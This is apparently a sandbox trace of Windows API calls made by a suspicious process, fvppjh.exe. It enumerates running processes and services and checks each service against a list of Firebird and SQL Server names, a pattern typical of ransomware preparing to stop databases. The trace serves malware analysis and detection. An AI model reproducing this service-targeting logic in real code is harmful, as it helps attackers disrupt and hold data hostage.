	[0153.313] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0153.314] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0153.314] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0153.314] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0153.314] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.315] lstrlenW (lpString="svchost.exe") returned 11
	[0153.315] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.315] lstrlenW (lpString="svchost.exe") returned 11
	[0153.315] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0153.316] lstrlenW (lpString="dwm.exe") returned 7
	[0153.316] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.316] lstrlenW (lpString="svchost.exe") returned 11
	[0153.316] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.317] lstrlenW (lpString="svchost.exe") returned 11
	[0153.317] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.317] lstrlenW (lpString="svchost.exe") returned 11
	[0153.317] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.318] lstrlenW (lpString="svchost.exe") returned 11
	[0153.318] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.318] lstrlenW (lpString="svchost.exe") returned 11
	[0153.318] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.319] lstrlenW (lpString="svchost.exe") returned 11
	[0153.319] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.319] lstrlenW (lpString="svchost.exe") returned 11
	[0153.319] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.320] lstrlenW (lpString="svchost.exe") returned 11
	[0153.320] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.320] lstrlenW (lpString="svchost.exe") returned 11
	[0153.320] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.321] lstrlenW (lpString="svchost.exe") returned 11
	[0153.321] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0153.321] lstrlenW (lpString="spoolsv.exe") returned 11
	[0153.321] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.322] lstrlenW (lpString="svchost.exe") returned 11
	[0153.322] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0153.322] lstrlenW (lpString="audiodg.exe") returned 11
	[0153.322] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0153.323] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0153.323] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0153.323] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0153.323] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0153.324] lstrlenW (lpString="Memory Compression") returned 18
	[0153.324] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0153.324] lstrlenW (lpString="sihost.exe") returned 10
	[0153.324] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.325] lstrlenW (lpString="svchost.exe") returned 11
	[0153.325] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0153.325] lstrlenW (lpString="taskhostw.exe") returned 13
	[0153.325] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0153.325] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0153.326] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0153.326] lstrlenW (lpString="taskhostw.exe") returned 13
	[0153.326] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0153.326] lstrlenW (lpString="explorer.exe") returned 12
	[0153.326] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0153.327] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0153.327] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0153.327] lstrlenW (lpString="SearchUI.exe") returned 12
	[0153.327] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0153.328] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0153.328] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0153.328] lstrlenW (lpString="mobsync.exe") returned 11
	[0153.328] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0153.329] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0153.329] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.329] lstrlenW (lpString="svchost.exe") returned 11
	[0153.329] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0153.330] lstrlenW (lpString="fvppjh.exe") returned 10
	[0153.330] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0153.330] lstrlenW (lpString="cmd.exe") returned 7
	[0153.330] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0153.331] lstrlenW (lpString="conhost.exe") returned 11
	[0153.331] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0153.331] CloseHandle (hObject=0x384) returned 1
	[0153.331] Sleep (dwMilliseconds=0x1f4) 
	[0154.144] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3a84550
	[0154.145] EnumServicesStatusExW (in: hSCManager=0x3a84550, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0154.145] GetLastError () returned 0xea
	[0154.145] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bee) returned 0x620a00
	[0154.146] EnumServicesStatusExW (in: hSCManager=0x3a84550, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x620a00, cbBufSize=0x1bee, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x620a00, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0154.147] CloseServiceHandle (hSCObject=0x3a84550) returned 1
	[0154.147] lstrlenW (lpString="AppXSvc") returned 7
	[0154.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0154.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0154.147] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0154.147] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0154.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0154.148] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0154.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0154.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0154.148] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0154.148] lstrlenW (lpString="Audiosrv") returned 8
	[0154.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0154.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0154.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0154.148] lstrlenW (lpString="BFE") returned 3
	[0154.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0154.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0154.148] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0154.148] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0154.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0154.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0154.148] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0154.148] lstrlenW (lpString="CDPSvc") returned 6
	[0154.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0154.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0154.148] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0154.148] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0154.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0154.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0154.148] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0154.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0154.148] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0154.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0154.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0154.149] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0154.149] lstrlenW (lpString="CryptSvc") returned 8
	[0154.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0154.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0154.149] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0154.149] lstrlenW (lpString="DcomLaunch") returned 10
	[0154.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0154.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0154.149] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0154.149] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0154.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0154.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0154.149] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0154.149] lstrlenW (lpString="Dhcp") returned 4
	[0154.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0154.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0154.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0154.149] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0154.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0154.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0154.149] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0154.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0154.149] lstrlenW (lpString="Dnscache") returned 8
	[0154.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0154.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0154.150] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0154.150] lstrlenW (lpString="DPS") returned 3
	[0154.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0154.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0154.150] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0154.150] lstrlenW (lpString="DusmSvc") returned 7
	[0154.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0154.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0154.150] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0154.150] lstrlenW (lpString="EventLog") returned 8
	[0154.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0154.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0154.150] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0154.150] lstrlenW (lpString="EventSystem") returned 11
	[0154.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0154.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0154.150] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0154.150] lstrlenW (lpString="FontCache") returned 9
	[0154.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0154.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0154.150] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0154.150] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0154.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0154.150] lstrlenW (lpString="gpsvc") returned 5
	[0154.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0154.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0154.151] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0154.151] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0154.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0154.151] lstrlenW (lpString="iphlpsvc") returned 8
	[0154.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0154.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0154.151] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0154.151] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0154.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0154.151] lstrlenW (lpString="KeyIso") returned 6
	[0154.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0154.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0154.151] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0154.151] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0154.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0154.151] lstrlenW (lpString="LanmanServer") returned 12
	[0154.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0154.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0154.151] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0154.151] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0154.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0154.151] lstrlenW (lpString="LanmanWorkstation") returned 17
